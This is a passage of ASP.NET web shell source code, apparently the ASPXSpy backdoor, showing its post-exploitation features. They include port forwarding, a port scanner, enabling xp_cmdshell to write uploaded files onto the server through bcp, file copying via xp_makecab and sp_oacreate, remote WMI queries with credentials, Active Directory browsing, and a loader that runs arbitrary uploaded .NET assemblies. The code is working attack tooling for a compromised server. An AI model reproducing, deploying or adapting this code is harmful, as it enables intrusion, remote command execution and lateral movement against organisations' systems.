Bin_Msg("List is empty.");
}else{
zcg_tbl_PMList.Visible=true;
Hashtable ht=Session[PMCacheName] as Hashtable;
int count=0,connected=0,closed=0;
foreach(DictionaryEntry de in ht)
{
PortForward pf=de.Value as PortForward;
if(pf!=null){
count++;
TableRow tr=zcg_GetTableRow();
TableCell tc=new TableCell();
tc.Text=de.Key.ToString();
tr.Cells.Add(tc);
tc=new TableCell();
tc.Text=string.Format("{0}:{1}",pf.RemoteAddress,pf.RemotePort);
tr.Cells.Add(tc);
tc=new TableCell();
tc.Text=string.Format("{0}:{1}",pf.LocalAddress,pf.LocalPort);
tr.Cells.Add(tc);
tc=new TableCell();
if(pf.IsConnected){tc.Text="Connected";connected++;}
else{tc.Text="Closed";closed++;}
tr.Cells.Add(tc);
tc=new TableCell();
tc.Text="<a href=\"javascript:Bin_PostBack('zcg_ClosePM','"+Bin_ToBase64(de.Key.ToString())+"')\">Close</a>";
tr.Cells.Add(tc);
zcg_tbl_PMList.Rows.Add(tr);}
}if(count==0){Bin_Msg("List is empty.");}else{Bin_Msg(string.Format("Total {0} PortMap(s) cached ,{1} Connected ,{2} Closed",count,connected,closed));}
}
}catch(Exception ex){zcg_ShowError(ex);}
}
private void zcg_ClosePM(string id)
{
if(Session[PMCacheName]==null||!(Session[PMCacheName] is Hashtable))
{
Bin_Msg("List is empty.");
}else{
Hashtable ht=Session[PMCacheName] as Hashtable;
PortForward pf=ht[id] as PortForward;
if(pf!=null){pf.Stop();ht.Remove(id);}
zcg_btnListPM_Click(null,null);Bin_Msg("PortMap of ID:"+id+" Closeed.");
}
}
protected void zcg_btnClearPM_Click(object sender,EventArgs e)
{
if(Session[PMCacheName]==null||!(Session[PMCacheName] is Hashtable))
{
Bin_Msg("List is empty.");
}else{
Hashtable ht=Session[PMCacheName] as Hashtable;
foreach(DictionaryEntry de in ht)
{
PortForward pf=de.Value as PortForward;
if(pf!=null){pf.Stop();}
}
ht.Clear();Bin_Msg("All PortMap(s) closed");
}
}
protected void Bin_Button_MapPort_Click(object sender,EventArgs e)
{
try{
if(Bin_TextBox_Lport.Value=="" || Bin_TextBox_Lip.Value.Length<7 || Bin_TextBox_Rport.Value=="")return;
int rport=int.Parse(Bin_TextBox_Rport.Value);
int lport=int.Parse(Bin_TextBox_Lport.Value);
PortForward pf=new PortForward();
pf.Start(Bin_TextBox_Rip.Value,rport,Bin_TextBox_Lip.Value,lport);
if(Session[PMCacheName]==null||!(Session[PMCacheName] is Hashtable))
{
try{Session[PMCacheName]=new Hashtable();}catch{Bin_Msg("Session not enable,List while unavailable");}
}
string s=Guid.NewGuid().ToString();
Hashtable ht=Session[PMCacheName] as Hashtable;
ht[s]=pf;
Bin_Msg(String.Format("PortMap of ID: {0} Started.",s));
}catch(Exception ex){zcg_ShowError(ex);}
}
protected void Bin_Button_Scan_Click(object sender,EventArgs e)
{
ArrayList ScanResults=new ArrayList();
try
{
new SocketPermission(NetworkAccess.Connect,TransportType.Tcp,Bin_TextBox_Sip.Text,-1).Demand();
string[] ports=Bin_TextBox_Sport.Text.Split(',');
for(int i=0;i<ports.Length;i++)
{
int p=0;
if(Int32.TryParse(ports[i],out p)){ScanResults.Add(new ScanPort(Bin_TextBox_Sip.Text,p));}
}
Thread[] lThreads=new Thread[ScanResults.Count];
int idx=0;
for(idx=0;idx<ScanResults.Count;idx++)
{
lThreads[idx]=new Thread(new ThreadStart(((ScanPort)ScanResults[idx]).Scan));
lThreads[idx].Start();
}
for(idx=0;idx<lThreads.Length;idx++){lThreads[idx].Join();}
}
catch(SocketException){Bin_Msg("Host not found.");}
catch(Exception ex){zcg_ShowError(ex);}
Bin_Label_Scanres.Visible=true;
string res="";
foreach(ScanPort th in ScanResults){res+=th.ip+" : "+th.port+" ................................. "+th.status+"
";}
Bin_Label_Scanres.InnerHtml=res;
}
protected void Bin_Button_Query_Click(object sender,EventArgs e)
{
Bin_Button_Export.Visible=true;
Bin_ExecBind();
}
protected void Bin_Button_Export_Click(object sender,EventArgs e)
{
try
{
OpenConnection();
if(Bin_List_Connstr.SelectedItem.Text=="MSSQL")
{
if(Bin_List_DB.SelectedItem.Value!="")
{
conn.ChangeDatabase(Bin_List_DB.SelectedItem.Value.ToString());
}
}
DataTable dt=Bin_DataTable(Bin_Textarea_Query.InnerText);
string fname="Query.xls";
Match mat=Regex.Match(Bin_Textarea_Query.InnerText,@"(?<= from \[?)[\w.]+");
if (mat.Success)
{
fname=mat.Value+".xls";
}
if (dt.Columns.Count>0)
{
Response.AddHeader("Content-Disposition","attachment;filename="+fname);
Response.ContentType="application/ms-excel";
{
Response.Write("<table border=1>\r\n");
foreach(DataColumn subcol in dt.Columns)
{
Response.Write(""+subcol.ColumnName+" | ");
}
Response.Write("
");
foreach(DataRow subrow in dt.Rows)
{
Response.Write("");
for (int i=0;i<subrow.ItemArray.Length;i++)
{
Response.Write(""+subrow.ItemArray[i].ToString()+" | ");
}
Response.Write("
");
}
Response.Write("\r\n");
}
Response.End();
}
else{Bin_Msg("No data!");}
}
catch (Exception ex){zcg_ShowError(ex);}
}
protected void Bin_Button_SaUpfile_Click(object sender, EventArgs e)
{
Bin_Div_saupfile.Visible=true;
Bin_ExecSql("IF OBJECT_ID('bin_temp')IS NOT NULL DROP TABLE bin_temp");
Bin_ExecSql("IF OBJECT_ID('bin_temp')IS NOT NULL DROP TABLE bin_temp");
string strfrm="8.0|1|1 SQLIMAGE 0 0 \"\" 1 safile \"\"";
Bin_ExecSql("CREATE TABLE bin_temp(safile image)");
Byte[] b = new byte[Bin_TextBox_SaFile.PostedFile.InputStream.Length];
Stream i = Bin_TextBox_SaFile.PostedFile.InputStream;
i.Read(b, 0, b.Length);
try
{
OpenConnection();
string db = conn.Database;
comm.CommandText = "insert into [bin_temp] values(@P1);";
DbParameter dp=new SqlParameter("@P1", SqlDbType.Image);
dp.Value = b;
comm.Parameters.Add(dp);
comm.ExecuteNonQuery();
string verstr = Bin_DataTable(@"SELECT @@VERSION").Rows[0][0].ToString();
if (verstr.IndexOf("2005") > 0)
{
strfrm.Replace("8.0", "9.0");
Bin_ExecSql("EXEC master..sp_configure 'show advanced options', 1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell', 1;RECONFIGURE;");
}
string[] arrfrm = strfrm.Split('|');
foreach (string substrfrm in arrfrm)
{
Bin_ExecSql("EXEC master..xp_cmdshell 'echo " + substrfrm + " >> c:\\windows\\temp\\tmp.fmt'");
}
Bin_ExecSql("exec master..xp_cmdshell'bcp \"select safile from " + db + "..bin_temp\" queryout \"" + Bin_TextBox_SavePath.Value + "\" -T -f c:\\windows\\temp\\tmp.fmt'");
Bin_ExecSql("If object_id('bin_temp')is not null drop table bin_temp");
Bin_ExecSql("EXECUTE master..xp_cmdshell 'del c:\\windows\\temp\\tmp.fmt'");
string res = Bin_DataTable("EXECUTE master..xp_fileexist '" + Bin_TextBox_SavePath.Value + "'").Rows[0][0].ToString();
if (res == "1")
{
Bin_Msg("File uploaded,Good Luck!");
}
else{Bin_Msg("Upload failed,Sorry!");}
}
catch (Exception ex)
{
zcg_ShowError(ex);
}
}
protected void Bin_Button_CabCopy_Click(object sender, EventArgs e)
{
Bin_Div_CopyFile.Visible = true;
try
{
IDictionary dic = Environment.GetEnvironmentVariables();
string tmppath = dic["TMP"].ToString();
if(Bin_ExecSql("exec master..xp_makecab '" + tmppath + "\\~098611.tmp','default',1,'" + Bin_TextBox_Source.Value + "';exec master..xp_unpackcab '" + tmppath + "\\~098611.tmp','" + Path.GetDirectoryName(Bin_TextBox_Target.Value) + "',1,'" + Path.GetFileName(Bin_TextBox_Target.Value) + "'")){Bin_Msg("File Copyed,Good Luck!");}
}
catch (Exception ex)
{
zcg_ShowError(ex);
}
}
protected void Bin_Button_FsoCopy_Click(object sender, EventArgs e)
{
Bin_Div_CopyFile.Visible = true;
try
{
if(Bin_ExecSql("declare @a int;exec master..sp_oacreate'Scripting.FileSystemObject',@a output;exec master..sp_oamethod @a,'CopyFile',null,'" + Bin_TextBox_Source.Value + "','" + Bin_TextBox_Target.Value+ "'")){ Bin_Msg("File Copyed,Good Luck!");}
}
catch (Exception ex)
{
Bin_Msg(ex.Message);
}
}
protected void Bin_Button_WmiQuery_Click(object sender, EventArgs e)
{
if (Bin_TextBox_WmiString.Text != "")
{
Bin_Div_WmiPanel.Visible = true;
try
{
Bin_DataGrid_Wmi.PreRender+=new EventHandler(DataGrid_PreRender);
if(string.IsNullOrEmpty(zcg_txbWmiComputer.Text))
{
Bin_DataGrid_Wmi.DataSource=zcg_WmiDataTable(zcg_txbWmiNamespace.Text,Bin_TextBox_WmiString.Text);
}
else
{
Bin_DataGrid_Wmi.DataSource=zcg_WmiDataTable(zcg_txbWmiComputer.Text,zcg_txbWmiUserName.Text,zcg_txbWmiPassword.Text,zcg_txbWmiNamespace.Text,Bin_TextBox_WmiString.Text);
}
Bin_DataGrid_Wmi.DataBind();
for(int i=0;i<Bin_DataGrid_Wmi.Items.Count;i++)
{
zcg_SetControlAttribute(Bin_DataGrid_Wmi.Items[i]);
}
}
catch (Exception ex)
{
zcg_ShowError(ex);
}
}
}
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
private static extern bool LookupAccountName(string machineName, string accountName, byte[] sid, ref int sidLen, StringBuilder domainName, ref int domainNameLen, out int peUse);
private string zcg_GetCurrentDomain()
{
try{return zcg_WmiDataTable("root\\CIMV2","select Domain from Win32_ComputerSystem").Rows[0]["Domain"] as string;}
catch{
try{string s = Environment.UserDomainName;
int num3;
byte[] sid = new byte[0x400];
int length = sid.Length;
StringBuilder domainName = new StringBuilder(0x400);
int capacity = domainName.Capacity;
if(!string.Equals(s,"NT AUTHORITY"))
{
return s;
}
else if (LookupAccountName(null, DomainUserName, sid, ref length, domainName, ref capacity, out num3))
{
return domainName.ToString();
}return Environment.MachineName;}catch{return Environment.MachineName;}
}
}
protected void zcg_lbtnADSViewer_Click(object sender,EventArgs e)
{
Hide_Div();
try{
zcg_div_ADSViewer.Visible = true;
zcg_lbtnADSLocalMachine.CommandArgument="WinNT://"+Environment.MachineName;
zcg_lbtnADSCurrentDomain.CommandArgument="WinNT://"+zcg_GetCurrentDomain();
}catch(Exception ex){zcg_ShowError(ex);}
Bin_H2_Title.InnerText = "ADS Viewer >>";
}
protected void zcg_btnDoListADS_Click(object sender,EventArgs e)
{
if(!string.IsNullOrEmpty(zcg_txbADSPath.Value.Trim()))
{
try{
if(!string.IsNullOrEmpty(zcg_txbADSFilter.Value.Trim()))
{
zcg_SearchADSChildren(zcg_txbADSPath.Value.Trim(),zcg_txbADSFilter.Value.Trim(),zcg_txbADSUser.Value.Trim(),zcg_txbADSPass.Value,zcg_txbADSType.Value);
}else{
zcg_EnumADSChildrenAndListProperties(zcg_txbADSPath.Value.Trim(),zcg_txbADSUser.Value.Trim(),zcg_txbADSPass.Value,zcg_txbADSType.Value);
}
}
catch(Exception ex){zcg_ShowError(ex);}
}
}
protected void zcg_lbtnADS_Click(object sender,EventArgs e)
{
string ADSPath=(sender as LinkButton).CommandArgument;
zcg_txbADSPath.Value=ADSPath;
try{zcg_EnumADSChildrenAndListProperties(ADSPath,null,null,zcg_txbADSType.Value);}
catch(Exception ex){zcg_ShowError(ex);}
}
private void zcg_SearchADSChildren(string ADSPath,string ADSFilter,string ADSUserName,string ADSPassWord,string AuthType)
{
DirectorySearcher ds=null;
SearchResultCollection sc=null;
try
{
new DirectoryServicesPermission(DirectoryServicesPermissionAccess.Browse,ADSPath).Demand();
AuthenticationTypes t=(AuthenticationTypes)(Convert.ToInt32(AuthType));
DirectoryEntry dire=null;
TableCell tc=null;
if(!string.IsNullOrEmpty(ADSUserName))
{
dire=new DirectoryEntry(ADSPath,ADSUserName,ADSPassWord,t);
}
else
{
dire=new DirectoryEntry(ADSPath);
dire.AuthenticationType=t;
}
zcg_lbl_Schema.Text="SearchResult";
ds=new DirectorySearcher(dire,ADSFilter);
sc=ds.FindAll();
foreach(SearchResult sr in sc)
{
TableRow tr=zcg_GetTableRow();
tc=new TableCell();
tc.Text=zcg_MakeADSLinkJs(sr.Path);
tr.Cells.Add(tc);
tc=new TableCell();
tc.Text="Search Result Entry";
tr.Cells.Add(tc);
tc=new TableCell();
tc.Text="Unknown";
tr.Cells.Add(tc);
tc=new TableCell();
tc.Text="--";
tr.Cells.Add(tc);
tc=new TableCell();
tc.Text=zcg_MakeADSLinkJs(sr.Path);
tr.Cells.Add(tc);
zcg_tbl_ADSViewer.Rows.Add(tr);
}
}
catch(Exception ex)
{
zcg_ShowError(ex);
}
finally
{
if(ds!=null){ds.Dispose();}
if(sc!=null){sc.Dispose();}
}
}
private void zcg_EnumADSChildrenAndListProperties(string ADSPath,string ADSUserName,string ADSPassWord,string AuthType)
{
try
{
new DirectoryServicesPermission(DirectoryServicesPermissionAccess.Browse,ADSPath).Demand();
AuthenticationTypes t=(AuthenticationTypes)(Convert.ToInt32(AuthType));
DirectoryEntry dire=null;
DirectoryEntry parent=null;
TableCell tc=null;
if(!string.IsNullOrEmpty(ADSUserName))
{
dire=new DirectoryEntry(ADSPath,ADSUserName,ADSPassWord,t);
}
else
{
dire=new DirectoryEntry(ADSPath);
dire.AuthenticationType=t;
}
try{zcg_lbl_Schema.Text=dire.SchemaClassName;}catch{zcg_lbl_Schema.Text="Unknown";}
parent=dire.Parent;
if(!string.Equals(parent.Path,"ADs:"))
{
TableRow tr=zcg_GetTableRow();
tc=new TableCell();
tc.Text=zcg_MakeADSLinkJs(dire.Parent.Path,"Parent DirectoryEntry");
tr.Cells.Add(tc);
tc=new TableCell();
tc.Text="Parent Entry";
tr.Cells.Add(tc);
tc=new TableCell();
try
{
tc.Text=parent.SchemaClassName;
tr.Cells.Add(tc);
}
catch
{
tc.Text="Unknown";
tr.Cells.Add(tc);
}
tc=new TableCell();
tc.Text="--";
tr.Cells.Add(tc);
tc=new TableCell();
tc.Text=zcg_MakeADSLinkJs(parent.Path);
tr.Cells.Add(tc);
zcg_tbl_ADSViewer.Rows.Add(tr);
}
foreach (DirectoryEntry child in dire.Children)
{
try
{
TableRow tr=zcg_GetTableRow();
tc=new TableCell();
tc.Text=zcg_MakeADSLinkJs(child.Path,child.Name);
tr.Cells.Add(tc);
tc=new TableCell();
tc.Text="Child Entry";
tr.Cells.Add(tc);
try
{
tc=new TableCell();
tc.Text=child.SchemaClassName;
tr.Cells.Add(tc);
}
catch
{
tc=new TableCell();
tc.Text="Unknown";
tr.Cells.Add(tc);
}
tc=new TableCell();
tc.Text="--";
tr.Cells.Add(tc);
tc=new TableCell();
tc.Text=zcg_MakeADSLinkJs(child.Path);
tr.Cells.Add(tc);
zcg_tbl_ADSViewer.Rows.Add(tr);
}
catch{}
}
TableRow intr=new TableRow();
intr.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;";
intr.Attributes["bgcolor"]="#dddddd";
TableCell intc=new TableCell();
intc.Attributes["colspan"]="6" ;
intc.Attributes["height"]="5";
intr.Cells.Add(intc);
zcg_tbl_ADSViewer.Rows.Add(intr);
System.DirectoryServices.PropertyCollection pc=dire.Properties;
foreach(object o in pc.PropertyNames)
{
try
{
if(o is string)
{
string tmps=null;
object prop=pc[o as string].Value;
if(prop is Array)
{
foreach(object op in prop as Array)
{
if(op is byte)
{
tmps+=((byte)op).ToString("X2");
}
else
{
tmps+=op.ToString();
tmps+="<br />";
}
}
}
else
{
tmps=prop.ToString();
}
TableRow tr=zcg_GetTableRow();
tc=new TableCell();
tc.Text=o as string;
tr.Cells.Add(tc);
tc=new TableCell();
tc.Text="Property";
tr.Cells.Add(tc);
tc=new TableCell();
tc.Text="--";
tr.Cells.Add(tc);
tc=new TableCell();
tc.Text=tmps;
tr.Cells.Add(tc);
tc=new TableCell();
tc.Text="--";
tr.Cells.Add(tc);
zcg_tbl_ADSViewer.Rows.Add(tr);
}
}catch{}
}
}
catch(Exception ex)
{
zcg_ShowError(ex);
}
}
private string zcg_MakeADSLinkJs(params string[] ADSSettings)
{
if(ADSSettings.GetLength(0)>1)
{
return string.Format("<a href=\"javascript:Bin_PostBack('zcg_ListADS','{0}')\">{1}</a>",Bin_ToBase64(ADSSettings[0]),ADSSettings[1]);
}
return string.Format("<a href=\"javascript:Bin_PostBack('zcg_ListADS','{0}')\">{1}</a>",Bin_ToBase64(ADSSettings[0]),ADSSettings[0]);
}
protected void zcg_lbtnPlugin_Click(object sender,EventArgs e)
{
Hide_Div();
zcg_div_Plugin.Visible = true;
Bin_H2_Title.InnerText = "Plugin Loader >>";
}
protected void zcg_btnplgLoad_Click(object sender,EventArgs e)
{
zcg_div_PluginResult.InnerHtml="";
try
{
if(zcg_plgFile.PostedFile.ContentLength==0){Bin_Msg("No Plugin Selected");}
else
{
Stream stream=null;MemoryStream mem=new MemoryStream();byte[] b = new byte[2048];int i = 0;
if(zcg_chbIsDeflated.Checked){stream=new DeflateStream(zcg_plgFile.PostedFile.InputStream, CompressionMode.Decompress);}
else{stream=zcg_plgFile.PostedFile.InputStream;}
do{i = stream.Read(b, 0, 2048);mem.Write(b, 0, i);} while (i != 0);
stream.Close();b=mem.ToArray();mem.Close();
string TypeName=string.IsNullOrEmpty(zcg_txbTypeName.Text)?"Zcg.Test.AspxSpyPlugins.TestPlugin":zcg_txbTypeName.Text;
string MethodName=string.IsNullOrEmpty(zcg_txbMethodName.Text)?"Test":zcg_txbMethodName.Text;
Type t=Assembly.Load(b).GetType(TypeName);
if(t==null){Bin_Msg("Type "+TypeName+" Not Found");}
else{zcg_div_PluginResult.InnerHtml=String.Format("Result :<hr width=\"100%\" noshade/>"+(zcg_chbIsHtml.Checked?"{0}":"<pre><xmp>{0}</xmp></pre>"),t.InvokeMember(MethodName,BindingFlags.InvokeMethod|BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static,null,null,new object[]{zcg_txbParams.Text.Split(new string[1]{"\r\n"},StringSplitOptions.RemoveEmptyEntries)}));zcg_div_PluginResult.Visible=true;}
}
}
catch(Exception ex){zcg_ShowError(ex);}//to see InnerException
}
</script>
<html xmlns="http://www.w3.org/1999/xhtml" >
<head id="Head1" runat="server">
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<%=Version + " - " +Request.ServerVariables["SERVER_NAME"]%><title><%=Version + " - " +Request.ServerVariables["SERVER_NAME"]%></title>
<style type="text/css">
.Bin_Style_Login{font:11px Verdana;BACKGROUND: #FFFFFF;border: 1px solid #666666;}
body,td{font: 12px Arial,Tahoma;line-height: 16px;}
.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:16px;}
.list{font:12px Arial,Tahoma;height:20px;}
.area{font:12px 'Courier New',Monospace;background:#fff;border: 1px solid #666;padding:2px;}
.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;
}
a {color: #00f;text-decoration:underline;}
a:hover{color: #f00;text-decoration:none;}
.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ededed;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#fafafa;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid #ddd;border-bottom:1px solid #ccc;background:#e8e8e8;padding:5px 10px 5px 5px;font-weight:bold;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
.u1{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
.u2{text-decoration: none;color:#777;float:left;display:block;width:350px;margin-right:10px;}
</style>
<script type="text/javascript">
function CheckAll(form){
for(var i=0;i<form.elements.length;i++){
var e=form.elements[i];
if(e.name!='chkall')
e.checked=form.chkall.checked;
}
}
</script>
<body style="margin:0;table-layout:fixed;">